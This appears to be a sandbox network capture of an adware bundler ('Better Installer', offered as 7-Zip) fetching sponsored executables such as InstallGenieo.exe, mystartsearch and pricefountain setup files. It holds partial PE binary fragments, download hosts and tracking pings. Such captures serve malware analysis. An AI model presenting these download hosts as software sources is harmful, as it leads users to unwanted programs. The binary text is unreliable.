.bs....b5{...9.pZ.`..Vp*<) [email protected].........\....M.Cn
...7........Vl.d..#tro$....Y/..A.<...!C\rG.?.)N.\...4...z...L...\B.
c...-.....`.(...m.?>DC.....G....H...h?....."..OS.....j....-..'..0W.
...oH..Z.......x.....b..4.@[email protected]...<...v.x.i.>.k>.....z
........-$Y."a.....x.H.. ..<$l.e.5.Y&.v..*....5W.e.E&.t...i..z..R..
PJ.....P9QU..4.6'..@^..x.|....DSe..U..{ij.{k.#e}"..gt7&!.w.w..*..$.B.A
.VF.......>......*.UF.w.?a6..R.....(..lXH<6..l. .._1...'..Z.....
.........>....a7.H4..0sK..(..!...^.=:..|.-..o..cn..h6Pu..$.$N8...{f
.....&f..7...N.,.q... ..$.......9...l($....1.._NW$\{>.#^.... .i..jL
.....o....>=.M.z].y>Ki.... [email protected]<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=511529

Content-Type: application/ocsp-response

Date: Thu, 08 Jan 2015 04:54:23 GMT

Etag: "54addb79-1d7"

Expires: Wed, 14 Jan 2015 16:54:23 GMT

Last-Modified: Thu, 08 Jan 2015 01:20:57 GMT

Server: ECS (frf/87E3)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015010
7200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
......4...X..C I..;.....W......_............mJ.h9...x..r.........^.I!u
N.s....Q..x .I..Bc.z|...F)...r....k....pAy..(...d....5..i.......67f!.x
..[...j.vC...X...P.!..#.$.p...).E.:./.X.g.. I.>.Kgw4.....h....p.hp.
.0..G......3..1..n'.s$DC.vV....K.%...._.52........ ..^HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Cache-Control: max-age=511529..Content-Type: ap
plication/ocsp-response..Date: Thu, 08 Jan 2015 04:54:23 GMT..Etag: "5
4addb79-1d7"..Expires: Wed, 14 Jan 2015 16:54:23 GMT..Last-Modified: T
hu, 08 Jan 2015 01:20:57 GMT..Server: ECS (frf/87E3)..X-Cache: HIT..Co
ntent-Length: 471..0..........0..... .....0......0...0........P5V.L.f.
.......=.U..20150107200000Z0s0q0I0... .........Q..2...}Q......b.U.....
P5V.L.f........=.U...........z....@7....20150107200000Z....20150114200
000Z0...*.H..............4...X..C I..;.....W......_............mJ.h9..
.x..r.........^.I!uN.s....Q..x .I..Bc.z|...F)...r....k....pAy..(...d..
..5..i.......67f!.x..[...j.vC...X...P.!..#.$.p...).E.:./.X.g.. I.>.
Kgw4.....h....p.hp..0..G......3..1..n'.s$DC.vV....K.%...._.52........ 
..^....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=512419

Content-Type: application/ocsp-response

Date: Thu, 08 Jan 2015 04:54:24 GMT

Etag: "54addd3a-1d7"

Expires: Wed, 14 Jan 2015 16:54:24 GMT

Last-Modified: Thu, 08 Jan 2015 01:28:26 GMT

Server: ECS (frf/87A8)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015010
8011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150108011300Z....20150115012800Z0...*.H........
......,R.......Zhw...#x>.(U........H.&.#{....z..........Z.:..y...G.
.....A...^H_.6nU.l....o..../..&......O;.9..:T. }...JIDu...<y1.7.5..
 y.oe...... ]=.*.~.F.P>'L!...Q...80._A.BD.3.'.Y]s...Mn....\OB..[..I
!>.q.|..FG..'..p..........H.CZbm...h.r....../".q..,<.....A..HTTP
/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=512419..Cont
ent-Type: application/ocsp-response..Date: Thu, 08 Jan 2015 04:54:24 G
MT..Etag: "54addd3a-1d7"..Expires: Wed, 14 Jan 2015 16:54:24 GMT..Last
-Modified: Thu, 08 Jan 2015 01:28:26 GMT..Server: ECS (frf/87A8)..X-Ca
che: HIT..Content-Length: 471..0..........0..... .....0......0...0....
...q.7.s.......4. Z.....20150108011300Z0s0q0I0... ........ ......%.:EU
vf.U...3...q.7.s.......4. Z......M.q.......d...,....20150108011300Z...
.20150115012800Z0...*.H..............,R.......Zhw...#x>.(U........H
.&.#{....z..........Z.:..y...G......A...^H_.6nU.l....o..../..&......O;
.9..:T. }...JIDu...<y1.7.5.. y.oe...... ]=.*.~.F.P>'L!...Q...80.
_A.BD.3.'.Y]s...Mn....\OB..[..I!>.q.|..FG..'..p..........H.CZbm...h
.r....../".q..,<.....A....<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-308319/308320
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-1631231/1631232

X-Cache: Hit from cloudfront

Via: 1.1 5b7156fd9f20da783013f14d96a15b8f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -EiwiE24xRV7L0YsAUAt17U3HZkC606AvCkz2T65vjJbmoLRfJCVXA==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.([email protected]....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@[email protected][email protected]........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I......R...P.......PW......`...W....G....F.......h.>H..t..

<<< skipped >>>

GET / HTTP/1.1

Range: bytes=74664-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065c4fe0f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=74664-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 124440

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 74664-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d06625090f7b-FRA
vkzYvsz...XzkRp{jszYvszQ~rzH....Zqkzm\mvkv|~sLz|kvpq..&.Sz~iz\mvkv|~sL
z|kvpq....Vqvkv~svez\mvkv|~sLz|kvpq^q{Lovq\pjqk...MksJqhvq{...Hv{z\w~m
KpRjskv]fkz...Xzk\pqlpsz\O....Xzk\pqlpszRp{z..M.\splzW~q{sz...[zszkz\m
vkv|~sLz|kvpq...Jqw~q{sz{Zg|zokvpqYvskzm....LzkJqw~q{sz{Zg|zokvpqYvskz
m...Xzk\jmmzqkOmp|zll...Kzmrvq~kzOmp|zll....Ksl^ssp|....KslXzkI~sjz...
KslLzkI~sjz...KslYmzz.|.XzkLk~mkjoVqypH...XzkRp{jszW~q{szH....Lszzo.!.
Sp~{Sv}m~mfZgH....XzkYvszKfoz...XzkRp{jszYvszQ~rz^....NjzmfOzmypmr~q|z
\pjqkzm...Xzk\jmmzqkOmp|zllV{.f.XzkLflkzrKvrz^lYvszKvrz...XzkZqivmpqrz
qkLkmvqxlH..~.YmzzZqivmpqrzqkLkmvqxlH.x.LzkYvszOpvqkzmZg..v.XzkLkmvqxK
fozH..2.S\R~oLkmvqxH....Pjkojk[z}jxLkmvqxH.. .Sp~{Sv}m~mfH....LzkLk{W~
q{sz..;.Hmvkz\pqlpszH.H.YsjlwYvsz]jyyzml....Wz~oLvez....\mz~kzYvszH.L.
LzkZq{PyYvsz....Mz~{Yvsz....Mz~{\pqlpszH..............................
......................................................................
......................................................................
......................................................................
...................................................................._.
.._...................................................................
......................................................................
>.......*.......^.......\.......O.......M.......L.......H.......F..
.....s.......r...?...o.......m........................................
...................6..................................................
.................................. ^...........f.>.............<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1019520-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 611712

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:08:01 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1019520-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 f76d36fc464e1d1e27df9c0172edbc49.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2GyRUcm0ezeEBuGw0wJOk0Iequs_-qSo9jSWxhViooMj3YyGHOgLxw==
."4....s...... N.$.".b....dR.7....m....h.H..B.|%...o$....o........G...
 .....GD.u..'.J.-s.r...'K....2..d)[email protected]^..R..h....Fb%n.....G.3.
[email protected]......>..G<W.....hI.0.....C...5*kt:.J.nO.C....6..$.
....-.8.z..s=.S......:..:>....[.;..pUk.}........ ..Fgd..f...x5.f.*.
d......N...x.`.e(.,.1..3..=.C/..$vM}.(...J..la......B....`k z]..D..x..
..s...m*,.nk_r.....VY...$R.Yh......(....'sI../....##S.'b...'I.y...'b.;
9cw..V.P..............7H.....|.L..o...B....3I....*.o...a.`..T...D.;...
..S?i#~._.....3...T.....BoW....g.{p...`....L.yR.-..U..y..q ........TZ3
F..A0B..-....g...b.^7........k$..W.L.y....y.`Oa..~<..d.OG_...4W J.i
T..}._=.e.{..:"..5 .?..s...g..U......."V.......i...j:...s...$}...d..Z.
1...g.U......-..6.....P...uY..#..n...^;5".o..O..X..g.di....<Q.....m
.!.....}O}..Z./...]9Hc us..<....u.N3....Y.\.XX..1a[...u..|%..B{#.J.
......"{.fN..GQ.P)</.|B....*v........W...M...<.1.T..k..Cx..Q..9.
..h.....}./.|.G{..rH?DH..0...~./..J.f....'g.{..9........!Yw.4.^lJk.s\.
K.....I1...{.s!i`%.h&#";.y46..5....{[email protected].<B.<|.^*[....L.5
0.9.EK.I........F.l... f.....).....%.aT..|I.......P...h..Gy...B6J.....
.. S.....sD../.8../M...f..R..qKKuQw.lI.g..A~x.&Z..._.aZN.........W.t..
^.-.N\......-H.....JQ...U360.n.[82.....S....}.}.G@_.?.......z..C.....c
.JG@.)*.$......./..../......L_.....9..!................F.....,G....X..
.w....n.#)H%..L.*. .%%..GPK...M..4.R....J.6..u..........r.Ww....[ }W..
.."...k.|....k........{.b.J9.....o.n........fJ...4......].;..#.._....x
g..O.x.(..-e:...a.....f.Y...>....../J.wi..F...Y.........Ha.)...<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Thu, 08 Jan 2015 04:05:27 GMT

Last-Modified: Wed, 07 Jan 2015 11:57:28 GMT

ETag: "54ad1f28-d66"

Expires: Thu, 08 Jan 2015 04:15:27 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 e0506fdf36645ad2ac8b60d7fdad2e1d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lhdXy5tQB3q9EF6Ahn-OXMDoyCZRGUqUKrVC9I0qKpySe43sFN3iIA==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=494204-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: x85AXsc9aLJio/Ke/5wSR5LySZeP8ChS0VO2Vr2XYMl1tR/pOBZHzNBtvXtTpdjw

x-amz-request-id: E7ECFB75D3E6896D

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 494204-988407/988408

Content-Type: application/octet-stream

Content-Length: 494204

Server: AmazonS3
.;M@{..M.?..4R.[v. .-..bIcw.......b.....!..rf.P.........0.....{......y
..WL.D*^[email protected].)4......V.P!s...!pW6$~......T
..i...kQ.X..-.V.&...;.`...._B..-*.V.*[.S..?...)$\....i...E;........|p.
B|ON......:...@,.qX.vb8.%.<@..z.>_.RB..y.n.oX.AW1(....YU.4..O...
.Q...........A.z[.G..-z#......4/...X..N..l|.p..5!'hV.._.n..c..^.k...E.
....p..5B.......HEm.dh.4.sGUh..WP7.#...........:Z.].K"............B]W.
V...L0q~.].AB.`.trp.eW..J##..[.r,.(.&...."..G..B........#o..`....p...]
5{w.......%z......P}......Wj. M)^...5...Y.C._.7..*........'.. jI.c...t
..@$.X.ty...1.He...eV....}.l.R.2....A.P.....q....#"..58.Yg.f...(...1).
....,......|.#.KB...3H$..N...r...r.)...^.ST.$..?\.... 8,d....{ M...u..
:C........e..FL.j....S...MMd....%.N.i.....y.c..M..H....v.~5........:.f
DI...#.....0.(TH...sWso...:.#~....p....B!.....D."m..Xt..c,.m...e....z.
F*..m.Ci.Qt.....j.m*<...n.7...M..J......(..{....z......y.v.."@kNX.k
3{.m.[.._m\....(...Rz.ka..Qwb....3.\o.?.x..6........j..Do..j....)q....
]Q..}.. ....9....x.. b#Q/ .g.._.-Y.ZZ..r>2.e.\zu....d:w..].j..ma.0D
[........9..2.=...<....j..h.D.3Z..0.f.{$......i..tm..y.J.>.$.kz.
......_.....z...Q.K.(..=.7..I....C.9R_.z...w...B.... ..y...2.j..@'q.m.
.zs..}.........z...r).~....%.............]..rY0..Y.sgE...B.e.....|.<
;h..q.tLPw.....MD....z.....z..3..jP.KQ6>.I..#.{...gyf...@|..#....|.
.,t..m....q*.r.OLX`"B.....k....!n.Q;n......2vn....... a....{..|z...H..
..C.!.eGn.#.....-..m.R...N...._..e..k.&../p......b.....jq.L.-.c..q/..O
/b.......m....~.....:D.A&..Y...`...z..c..U...F...jZ.G.s....*..AI..<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1697

content-transfer-encoding: binary

Cache-Control: max-age=339822, public, no-transform, must-revalidate

Last-Modified: Mon, 5 Jan 2015 03:19:06 GMT

Expires: Mon, 12 Jan 2015 03:19:06 GMT

Date: Thu, 08 Jan 2015 04:57:06 GMT

Connection: keep-alive
0..........0..... .....0......0...0...A0?1=0;..U...4VeriSign Class 3 C
ode Signing 2004 CA OCSP Responder..20150105031906Z0s0q0I0... ........
[email protected].!......Q...==d6|h.[x....7..`..........cV.!.....201501
05031906Z....20150112031906Z0...*.H..............S.X.....3d*L....._.u.
.M...U...#..kf.?yG$Z...g#..=.R.~..#...S=<.;..K..,.......G..%eUb..'.
..K.vBd..u8`..H..4..\..2.........1.....J........N.......'|....}.xq...9
Y..l.f.[..q)DfS%;.}I......tm>O;.......b.0..(DZ.....x{]..\[...%.D...
. ..NM........5..V.;t.l..2........0...0...0..{.........[..I|.....Zm..0
...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U....Veri
Sign Trust Network1;09..U...2Terms of use at hXXps://VVV.verisign.com/
rpa (c)041.0,..U...%VeriSign Class 3 Code Signing 2004 CA0...140428000
000Z..150729235959Z0?1=0;..U...4VeriSign Class 3 Code Signing 2004 CA 
OCSP Responder0.."0...*.H.............0.........Y....h..@..>.....%.
-.....O...' y.........x..Gw.xF.....?..Z..u,.X.&..........3C..H.l.....f
..;]s!.\"v...|....][email protected]. ..W....n..*
..-f?EY.......UN...r...........-_.%..,P;b.....)(.P.4...,.%....<..6.
....[r^X.EV..S...5#'Y.. .TD...........0...0...U.......0.0...U.%..0... 
.......0...U...........0... .....0......0f..U. ._0]0[..`.H...E....0L0#
.. .........hXXps://d.symcb.com/cps0%.. .......0...hXXps://d.symcb.com
/rpa0!..U....0...0.1.0...U....TGV-B-1080...U......"...?....`>q..i1o
...0...U.#..0.....Q...==d6|h.[x....70...*.H.............B8@.$..wo.....
.E.....P52"b*@'C\.y.(...n....h.f..7f.....v...pb<...]..|........<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145866-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 145866-583463/583464

Content-Length: 437598

Connection: keep-alive
..l..I..lV.r.X?.z#[4..N.Z..<..Yd...........X.Q~p...;....}rw.d?AtH..
...$...5..Y..IO.w...r....=.]..)L.G...[..Q._D...=..v..).5.jN._.9..l.5.$
.....FXM...-.qF>..>....UgG6..h1...eQ....92....~!?.w.e.Lc.~U..U..
.`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d
.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*..
.8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9.......
.VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...
V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\
......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:..
.Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W.
..j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7..
 }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-.
.0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..
........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.
X'.t....j.n....L..3C.......z.......8.g.<"&....`...2..e...2,..)..V] 
.v.....r..........s.8*...3.F..g....E...'.i.....].I.B.1.h.2......s.j...
....M..9.&^.[....p..%%.Z...v.Z.,)O...X.s28wFT.....J......F..{{.I.d..v.
I..9.E6Y=E.@C.......?0...Xj.Ha$*.9..v..2.b.........h6..0..8..!\:....~.
j.z....:I.f!.E.'.!......_.e..2.^.9W...v.;k...:.x.y!.k..[..)...H(Z.`..X
..Y.gW.*/.'.<RF@.?........0........l]V...G..e.${.I..>/.....5....
?.!x.}..A[;....a......\......F.>../.....55..e.]..........nU?.>..
S<#..z'........v.1.....v6...<Y......M,[email protected].:...U|Y.{..L<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=407808-815616

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 407809

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 407808-815616/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 e0506fdf36645ad2ac8b60d7fdad2e1d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PrCAop_ag1f4bOpZkivL8y3C0oJCej_NVH3IY6h2xqOWeGeqcgBBjg==
..E..}...P.u. .VWj.h......\.G.......M....E.3......J.;.......L.0.E..].;
E.t.P..,..Y...t......n....}..ty.u.... .........G;.sUj..E....._...f;E.t
3f;.t.f...........B.;.s.j....Xf9.t.j.XP_f.....;.r....E......J..L....E.
.. .....d.....t..M.j.Zf9..U.u.....$..D...E.....8.E..M.;..._...j.Y.E...
.......f;E...&...f;.t.f...'.E....;.s(j.Zf9W..U.u.j.X...f.......f......
.......j..E.Pj..E.P.....J.....4...$.G...u...`.G..........}.........U..
....J..D..HtRj.Xj.f9E.u.f......3Xf.......J..E..D.......J..E..D.%.....J
.j.Y....L.&j.Y;}........l;u.u.j.Xf9E.u.f.......j.j.j..u..o....U....j.X
f9E.t.j.Yf........U.j.Yf............J..D...@u....D....f..f......E... .
.......`.G.j.^;.u..................0.......m......3......3.........8..
................._^[..jdh..H......j..A...Y3..].j@j _W.R...YY...M...u.j
..E.PhX.I.............U......J..=..J......;.s1f.A.......Y..a$..A$$..A$
f.A%[email protected]..\.G.f.}....)....E............M.....E...
.E......;.|....M.3.F.u.9...J.} [email protected]....}..E
..U.;........2...tX...tS....tM..u.V....G..U...t8..............4...J..u
......E....F.h.....F.P....G..F..U..M.G.}[email protected]..=..J..
....J......;.s$f.A.......Y..a$.f.A%[email protected].......].....
...........5..J..u..>.t..>.t...F....F.......F....u.j.X...C......
..P....G......tE..tAW....G...t6.>%[email protected].
....F.P....G..F.."[email protected][email protected].<....E.......
...3.......j......Y.U..W.}...u.............I.........G..........@.....
....<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.5306022535342854 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:33 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:33 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

X-Cache: RefreshHit from cloudfront

Via: 1.1 5b7156fd9f20da783013f14d96a15b8f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eqszqiZ3PSDA9jbo4hUDqzY3ekQ0Xa6pVSYEzBtiJalj0Yz5sa0JbQ==

MZ......................@.............................................
